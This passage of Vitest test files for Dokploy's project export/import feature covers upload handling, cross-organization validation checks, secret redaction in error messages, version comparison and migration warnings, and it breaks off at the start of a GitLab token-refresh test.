async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (!serverId) return actual.openProcessStream(serverId, command);
remoteBox.commands.push(command);
const stdin = new Pass();
const stdout = new Pass();
const stderr = new Pass();
remoteBox.stdin = stdin;
stdin.on("data", (chunk: Buffer) => remoteBox.received.push(chunk));
const failWith = remoteBox.exitCode;
const exit =
failWith === null
? new Promise<number>((resolve) => {
stdin.on("finish", () => resolve(0));
stdin.on("close", () => resolve(0));
})
: Promise.resolve(failWith);
return {
stdin,
stdout,
stderr,
exit,
close: () => stdin.destroy(),
};
},
};
},
);
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationServerId: vi.fn(
async (serverId: string | undefined, organizationId: string) => {
if (!serverId) return null;
if (serverId === "server-1" && organizationId === "org-1") {
return "server-1";
}
throw new Error("Server not found");
},
),
get TRANSFER_MAX_UPLOAD_BYTES() {
return maxUploadBytesBox.value;
},
};
},
);
vi.mock("@dokploy/server/constants", async (importOriginal) => {
const actual =
await importOriginal<typeof import("@dokploy/server/constants")>();
return {
...actual,
paths: (isServer?: boolean) => ({
...actual.paths(isServer),
PROJECT_EXPORT_IMPORT_PATH: transferPathToReturn,
}),
};
});
const { getImportJob } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/upload"))
.default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-upload-route-"));
transferPathToReturn = root;
maxUploadBytesBox.value = 10 * 1024 * 1024 * 1024;
remoteBox.exitCode = null;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
} & PassThrough;
stream.statusCode = 200;
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
return stream;
};
const buildMultipartReq = (
fileContent: Buffer,
fileName = "bundle.dokploy.tar.gz",
) => {
const boundary = "----dokployTestBoundary";
const head = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="bundle"; filename="${fileName}"\r\nContent-Type: application/gzip\r\n\r\n`,
);
const tail = Buffer.from(`\r\n--${boundary}--\r\n`);
const body = Buffer.concat([head, fileContent, tail]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
const buildTwoFileMultipartReq = (first: Buffer, second: Buffer) => {
const boundary = "----dokployTestBoundary";
const part = (name: string, content: Buffer) =>
Buffer.concat([
Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="${name}"; filename="${name}.tar.gz"\r\nContent-Type: application/gzip\r\n\r\n`,
),
content,
Buffer.from("\r\n"),
]);
const body = Buffer.concat([
part("bundle", first),
part("bundle2", second),
Buffer.from(`--${boundary}--\r\n`),
]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
describe("transfer upload route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildMultipartReq(Buffer.from("irrelevant"));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects non-POST methods", async () => {
const req = { method: "GET" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("streams the uploaded bundle to disk and creates an import job", async () => {
const content = Buffer.from("fake bundle bytes for the upload route test");
const req = buildMultipartReq(content);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const importId = (res.jsonBody as { importId: string }).importId;
expect(importId).toBeDefined();
const job = getImportJob(importId);
expect(job?.status).toBe("uploaded");
expect(job?.bundle?.path).toBeDefined();
const written = await readFile(job?.bundle?.path as string);
expect(written.equals(content)).toBe(true);
});
it("does not buffer the whole file into memory while receiving a large upload", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-2" },
};
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const content = Buffer.concat(Array(chunkCount).fill(chunk));
const req = buildMultipartReq(content);
const res = buildRes();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(req as any, res as any);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(res.statusCode).toBe(200);
expect(grew).toBeLessThan(content.length / 2);
});
it("rejects an upload with more than one file field instead of silently overwriting the first", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-two-files" },
};
const first = Buffer.from("first file's real content");
const second = Buffer.from("second file's content");
const req = buildTwoFileMultipartReq(first, second);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toContain(
"more than one file",
);
});
it("destroys the request instead of continuing to drain it once the size limit is hit", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-over-limit" },
};
maxUploadBytesBox.value = 10;
const req = buildMultipartReq(Buffer.alloc(1000, 9));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(413);
expect((req as unknown as PassThrough).destroyed).toBe(true);
});
});
describe("upload to a remote server", () => {
let counter = 0;
beforeEach(() => {
counter += 1;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: `remote-user-${counter}` },
};
remoteBox.commands = [];
remoteBox.received = [];
remoteBox.stdin = undefined;
});
it("streams the file into a cat process on the chosen server", async () => {
const content = Buffer.from("remote bundle bytes");
const req = buildMultipartReq(content) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "server-1" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const { importId, serverId } = res.jsonBody as {
importId: string;
serverId: string;
};
expect(serverId).toBe("server-1");
expect(Buffer.concat(remoteBox.received).equals(content)).toBe(true);
expect(remoteBox.commands.some((c) => c.includes("cat > '"))).toBe(true);
expect(getImportJob(importId)?.bundle?.serverId).toBe("server-1");
expect(existsSync(join(transferPathToReturn, importId))).toBe(false);
});
it("rejects a server outside the organization", async () => {
const req = buildMultipartReq(Buffer.from("x")) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "someone-elses-server" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect(remoteBox.commands).toHaveLength(0);
});
it("closes the remote writer when the upload has no file field", async () => {
const boundary = "----dokployTestBoundary";
const body = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="note"\r\n\r\nhello\r\n--${boundary}--\r\n`,
);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.query = { serverId: "server-1" };
stream.end(body);
const res = buildRes();
await handler(stream as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toBe(
"No file field found in the upload",
);
expect(remoteBox.stdin?.destroyed).toBe(true);
});
it("fails fast when the remote writer exits before the file arrives", async () => {
remoteBox.exitCode = 1;
const stalled = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stalled.method = "POST";
stalled.headers = {
"content-type": "multipart/form-data; boundary=----dokployTestBoundary",
};
stalled.query = { serverId: "server-1" };
const res = buildRes();
await handler(stalled as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toMatch(
/Writing the bundle on the server failed/,
);
}, 5_000);
});
@@ -0,0 +1,511 @@
import type {
Plan,
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock("@dokploy/server/services/registry", () => ({
testRegistryConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
{
command:
"printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
stderr: "Error response from daemon: login attempt failed",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/destination", () => ({
testDestinationConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
{
command:
"rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
stderr: "NoSuchBucket: The specified bucket does not exist",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/vault-provider", () => ({
testVaultProviderConnection: vi.fn(async () => {}),
}));
const { validatePlan } = await import(
"@dokploy/server/services/project-export-import"
);
const basePlan = {
target: { kind: "newProject" as const, name: "imported" },
resolutions: {
"registry:registry-src": {
requirementKey: "registry:registry-src",
action: "reuse" as const,
targetId: "registry-dest-1",
},
"destination:destination-src": {
requirementKey: "destination:destination-src",
action: "reuse" as const,
targetId: "destination-dest-1",
},
},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" as const },
portsStrategy: "keep" as const,
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
} satisfies Plan;
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const fakeDb = {
query: {
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-dest",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-dest",
}),
},
vaultProvider: { findFirst: async () => undefined },
},
} as any as TransferDb;
describe("validatePlan (T-5.4)", () => {
it("never leaks the registry password or destination secretAccessKey into a failed check's detail", async () => {
const checks = await validatePlan(fakeDb, snapshot, basePlan, "org-dest");
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).not.toContain("realregistrypass123");
expect(registryCheck?.detail).toContain("login attempt failed");
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).not.toContain("realsecretkey456");
expect(destinationCheck?.detail).toContain("bucket does not exist");
});
});
describe("validatePlan checks each appName against its own destination server (T-5.13)", () => {
it("probes two services' appNames against their own distinct destination servers, not the same one for both", async () => {
const snapshotWithTwoApps: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
kind: "application",
applicationId: "app-1",
appName: "app-one-old",
serverId: "server-src-1",
},
{
kind: "application",
applicationId: "app-2",
appName: "app-two-old",
serverId: "server-src-2",
},
],
},
requirements: [
{
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "app-one",
environmentId: "env-1",
field: "serverId",
},
],
},
{
kind: "server",
originalId: "server-src-2",
configIncluded: false,
usedBy: [
{
serviceId: "app-2",
serviceType: "application",
serviceName: "app-two",
environmentId: "env-1",
field: "serverId",
},
],
},
],
};
const planWithTwoApps: Plan = {
...basePlan,
resolutions: {},
serverMap: {
"server-src-1": "server-dest-1",
"server-src-2": "server-dest-2",
},
appNameMap: {
"app-one-old": "app-one-new",
"app-two-old": "app-two-new",
},
};
const probed: { appName: string; serverId: string | null }[] = [];
await validatePlan(
fakeDb,
snapshotWithTwoApps,
planWithTwoApps,
"org-dest",
{
checkAppNameAvailable: async (appName, serverId) => {
probed.push({ appName, serverId });
return true;
},
},
);
expect(probed).toContainEqual({
appName: "app-one-new",
serverId: "server-dest-1",
});
expect(probed).toContainEqual({
appName: "app-two-new",
serverId: "server-dest-2",
});
});
});
describe("validatePlan blocks an unresolved server requirement (T-6.9)", () => {
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
it("fails the check when the server requirement's resolution is 'skip'", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithSkippedServer: Plan = {
...basePlan,
resolutions: {
"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "skip",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithSkippedServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("fails the check when the server requirement has no resolution at all", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithNoResolution: Plan = {
...basePlan,
resolutions: {},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithNoResolution,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("passes the check when the server requirement is resolved (reuse, incl. explicit local)", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planResolved: Plan = {
...basePlan,
resolutions: {
"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "reuse",
targetId: "server-dest-1",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planResolved,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(true);
});
});
describe("validatePlan checks vault/registry/destination reuse targets belong to the caller's org (T-6.12)", () => {
const crossOrgDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
config: {
providerType: "hashicorp",
url: "https://vault",
token: "t",
},
organizationId: "org-OTHER",
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-OTHER",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
it("fails the registry/destination checks without ever calling the live connection test, when the resolved row belongs to another org", async () => {
const { testRegistryConnection } = await import(
"@dokploy/server/services/registry"
);
const { testDestinationConnection } = await import(
"@dokploy/server/services/destination"
);
(testRegistryConnection as any).mockClear();
(testDestinationConnection as any).mockClear();
const checks = await validatePlan(
crossOrgDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
expect(testRegistryConnection).not.toHaveBeenCalled();
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).toContain(
"Not found in this organization",
);
expect(testDestinationConnection).not.toHaveBeenCalled();
});
it("fails the vault check without calling testVaultProviderConnection, when the resolved row belongs to another org", async () => {
const { testVaultProviderConnection } = await import(
"@dokploy/server/services/vault-provider"
);
(testVaultProviderConnection as any).mockClear();
const planWithVault: Plan = {
...basePlan,
resolutions: {
"vault:vault-src": {
requirementKey: "vault:vault-src",
action: "reuse",
targetId: "vault-dest-1",
},
},
};
const checks = await validatePlan(
crossOrgDb,
snapshot,
planWithVault,
"org-dest",
);
const vaultCheck = checks.find((c) => c.check.startsWith("vault:"));
expect(vaultCheck?.ok).toBe(false);
expect(vaultCheck?.detail).toContain("Not found in this organization");
expect(testVaultProviderConnection).not.toHaveBeenCalled();
});
});
describe("validatePlan checks that each server in plan.serverMap belongs to the caller's org (T-9.3)", () => {
it("fails the check without ever calling execAsyncRemote, for a server belonging to another org", async () => {
const { execAsyncRemote } = await import(
"@dokploy/server/utils/process/execAsync"
);
(execAsyncRemote as any).mockClear();
const crossOrgServerDb = {
query: {
...(fakeDb as any).query,
server: {
findFirst: async () => ({
serverId: "server-other-org",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
const planWithServer: Plan = {
...basePlan,
resolutions: {},
serverMap: { "server-src-1": "server-other-org" },
};
const checks = await validatePlan(
crossOrgServerDb,
snapshot,
planWithServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "server:server-other-org",
);
expect(serverCheck?.ok).toBe(false);
expect(serverCheck?.detail).toContain("Not found in this organization");
expect(execAsyncRemote).not.toHaveBeenCalled();
});
});
describe("validatePlan fails the check when a reuse target no longer exists (T-9.4)", () => {
it("fails the registry check (not ok:true) when the target row doesn't exist at all", async () => {
const missingRowDb = {
query: {
...(fakeDb as any).query,
registry: { findFirst: async () => undefined },
},
} as any as TransferDb;
const checks = await validatePlan(
missingRowDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
});
});
@@ -0,0 +1,179 @@
import type {
ExportScope,
InstanceVersions,
SourceInstance,
} from "@dokploy/server/services/project-export-import";
import {
collectDockerVersions,
compareDockerVersions,
compareInstanceVersions,
isPinnedImage,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const destination: InstanceVersions = {
dokployVersion: "v0.30.6",
releaseTag: "latest",
isCloud: false,
traefikVersion: "3.6.25",
nodeVersion: "v22.0.0",
};
const source = (overrides: Partial<SourceInstance>): SourceInstance => ({
dokployVersion: "v0.30.6",
organizationId: "org-src",
releaseTag: "latest",
isCloud: false,
traefikVersion: "3.6.25",
...overrides,
});
const codesOf = (warnings: { code: string; severity: string }[]) =>
warnings.map((w) => `${w.code}:${w.severity}`);
describe("compareInstanceVersions", () => {
it("is silent when everything matches", () => {
expect(compareInstanceVersions(source({}), destination)).toEqual([]);
});
it("warns when the bundle comes from a newer Dokploy", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "v0.31.0" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:warning"]);
});
it("only informs when the bundle comes from an older Dokploy", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "v0.29.0" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
});
it("informs when versions are not comparable but differ", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "canary", releaseTag: "canary" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
expect(warnings[0]?.message).toContain("can't be compared");
});
it("flags cloud to self-hosted and traefik differences", () => {
const warnings = compareInstanceVersions(
source({ isCloud: true, traefikVersion: "3.4.0" }),
destination,
);
expect(codesOf(warnings)).toEqual([
"INSTANCE_KIND_MISMATCH:info",
"TRAEFIK_VERSION_MISMATCH:info",
]);
});
it("ignores fields an older bundle does not carry", () => {
const warnings = compareInstanceVersions(
{ dokployVersion: "v0.30.6", organizationId: "org-src" },
destination,
);
expect(warnings).toEqual([]);
});
});
describe("compareDockerVersions", () => {
it("reports a different major version", () => {
expect(compareDockerVersions("26.1.0", "27.0.1")).toContain(
"different major version",
);
});
it("accepts the same major version", () => {
expect(compareDockerVersions("27.0.1", "27.3.0")).toBeUndefined();
});
it("is silent without a source version", () => {
expect(compareDockerVersions(undefined, "27.0.1")).toBeUndefined();
});
});
describe("isPinnedImage", () => {
it.each([
["postgres:17", true],
["ghcr.io/org/app:v1.2.3", true],
["registry:5000/org/app@sha256:abc", true],
["postgres", false],
["postgres:latest", false],
["registry:5000/org/app", false],
])("%s → %s", (image, pinned) => {
expect(isPinnedImage(image)).toBe(pinned);
});
});
describe("collectDockerVersions", () => {
const scope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const tree = {
projectId: "project-1",
name: "p",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [
{ applicationId: "app-1", appName: "app-one", serverId: null },
{ applicationId: "app-2", appName: "app-two", serverId: "srv-1" },
],
compose: [],
postgres: [
{ postgresId: "pg-1", appName: "pg-one", serverId: "srv-1" },
],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
},
],
};
it("probes each distinct server once and keys local as 'local'", async () => {
const probed: (string | null)[] = [];
const versions = await collectDockerVersions(
tree as never,
scope,
async (serverId) => {
probed.push(serverId);
return serverId ? "26.1.0" : "27.0.1";
},
);
expect(probed).toEqual([null, "srv-1"]);
expect(versions).toEqual({ local: "27.0.1", "srv-1": "26.1.0" });
});
it("skips servers whose probe fails", async () => {
const versions = await collectDockerVersions(
tree as never,
scope,
async (serverId) => {
if (serverId) throw new Error("ssh down");
return "27.0.1";
},
);
expect(versions).toEqual({ local: "27.0.1" });
});
});
@@ -0,0 +1,281 @@
import type { ExportScope } from "@dokploy/server/services/project-export-import";
import { detectWarnings } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const baseApplication = {
applicationId: "app-1",
name: "app-1",
appName: "app-one",
mounts: [],
domains: [],
isPreviewDeploymentsActive: false,
sourceType: "github",
autoDeploy: false,
};
const baseCompose = {
composeId: "compose-1",
name: "compose-1",
appName: "compose-one",
composeFile: "services: {}",
mounts: [],
domains: [],
autoDeploy: false,
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
};
const buildTree = (overrides: {
applications?: Record<string, unknown>[];
compose?: Record<string, unknown>[];
postgres?: Record<string, unknown>[];
redis?: Record<string, unknown>[];
}) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: overrides.applications ?? [],
compose: overrides.compose ?? [],
postgres: overrides.postgres ?? [],
redis: overrides.redis ?? [],
...emptyServiceArrays,
},
],
});
const codesOf = (warnings: { code: string }[]) => warnings.map((w) => w.code);
describe("detectWarnings", () => {
it("IMAGE_TAG_NOT_PINNED for a database on a floating tag, not for a pinned one", () => {
const tree = buildTree({
postgres: [
{
postgresId: "pg-1",
name: "pg",
appName: "pg-one",
dockerImage: "postgres:latest",
mounts: [],
},
{
postgresId: "pg-2",
name: "pg2",
appName: "pg-two",
dockerImage: "postgres:17",
mounts: [],
},
],
applications: [
{ ...baseApplication, sourceType: "docker", dockerImage: "nginx" },
],
});
const warnings = detectWarnings(tree as any, baseScope).filter(
(w) => w.code === "IMAGE_TAG_NOT_PINNED",
);
expect(warnings.map((w) => w.affected[0]?.serviceId).sort()).toEqual([
"app-1",
"pg-1",
]);
});
it("ABSOLUTE_HOST_PATH_MOUNT for a bind mount with an absolute host path", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "bind",
hostPath: "/var/data",
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("ABSOLUTE_HOST_PATH_MOUNT");
});
it("MANUAL_VOLUME_NAME for a volume mount with an explicit volumeName", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "volume",
volumeName: "my-custom-volume",
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("MANUAL_VOLUME_NAME");
});
it("does not warn about a volume name that embeds the service's own appName", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "volume",
volumeName: `${baseApplication.appName}-data`,
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
});
it("does not warn about a bind mount with a relative path or an auto volume name", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "m1",
type: "bind",
hostPath: "relative",
mountPath: "/a",
},
{
mountId: "m2",
type: "volume",
volumeName: null,
mountPath: "/b",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("ABSOLUTE_HOST_PATH_MOUNT");
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
});
it("APPNAME_IN_COMPOSE_FILE when the compose file references its own appName", () => {
const tree = buildTree({
compose: [
{
...baseCompose,
appName: "compose-one",
composeFile: "networks:\n compose-one-net:\n external: true",
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("APPNAME_IN_COMPOSE_FILE");
});
it("PREVIEW_DEPLOYMENTS_DROPPED when preview deployments are active", () => {
const tree = buildTree({
applications: [{ ...baseApplication, isPreviewDeploymentsActive: true }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("PREVIEW_DEPLOYMENTS_DROPPED");
});
it("LETSENCRYPT_CERTS_NOT_EXPORTED for a domain with a letsencrypt certificate", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
domains: [
{
domainId: "dom-1",
host: "app.example.com",
certificateType: "letsencrypt",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("LETSENCRYPT_CERTS_NOT_EXPORTED");
});
it("REDIS_NO_DUMP for every redis service in scope", () => {
const tree = buildTree({
redis: [{ redisId: "redis-1", name: "redis-1", mounts: [] }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("REDIS_NO_DUMP");
});
it("WEBHOOK_TOKEN_REGENERATED for a service with autoDeploy enabled", () => {
const tree = buildTree({
applications: [{ ...baseApplication, autoDeploy: true }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("WEBHOOK_TOKEN_REGENERATED");
});
it("DROP_SOURCE_NOT_EXPORTED when a drop-source app is excluded from files", () => {
const tree = buildTree({
applications: [{ ...baseApplication, sourceType: "drop" }],
});
const warnings = detectWarnings(tree as any, {
...baseScope,
files: { ...baseScope.files, applicationSources: false },
});
expect(codesOf(warnings)).toContain("DROP_SOURCE_NOT_EXPORTED");
});
it("does not warn DROP_SOURCE_NOT_EXPORTED when applicationSources is included", () => {
const tree = buildTree({
applications: [{ ...baseApplication, sourceType: "drop" }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("DROP_SOURCE_NOT_EXPORTED");
});
it("only inspects services within scope", () => {
const included = { ...baseApplication, applicationId: "app-included" };
const excluded = {
...baseApplication,
applicationId: "app-excluded",
autoDeploy: true,
};
const tree = buildTree({ applications: [included, excluded] });
const warnings = detectWarnings(tree as any, {
...baseScope,
serviceIds: ["app-included"],
});
expect(codesOf(warnings)).not.toContain("WEBHOOK_TOKEN_REGENERATED");
});
});
@@ -0,0 +1,99 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const store = vi.hoisted(() => ({
provider: {} as Record<string, unknown>,
}));
vi.mock("@dokploy/server/services/gitlab", () => ({
findGitlabById: vi.fn(async () => ({ ...store.provider })),
updateGitlab: vi.fn(async (_id: string, values: Record<string, unknown>) => {
store.provider = { ...store.provider, ...values };
}),
}));
const { refreshGitlabToken } = await import(
"@dokploy/server/utils/providers/gitlab"
);
const GITLAB_ID = "gitlab-1";
// Behaves like GitLab: a refresh returns a new pair and invalidates the refresh token it used
const createGitlab = () => {
let validRefreshToken = "refresh-1";
let issued = 1;
let failNext = false;
const fetch = vi.fn(async (_url: string, init: RequestInit) => {
const body = new URLSearchParams(init.body as string);
// Keeps the request open, so concurrent callers overlap as two deployments do
await new Promise((resolve) => setTimeout(resolve, 20));
if (failNext) {
failNext = false;
return new Response(null, {
status: 500,
statusText: "Internal Server Error",
});
}
if (body.get("refresh_token") !== validRefreshToken) {
return new Response(null, { status: 400, statusText: "Bad Request" });
}
issued++;
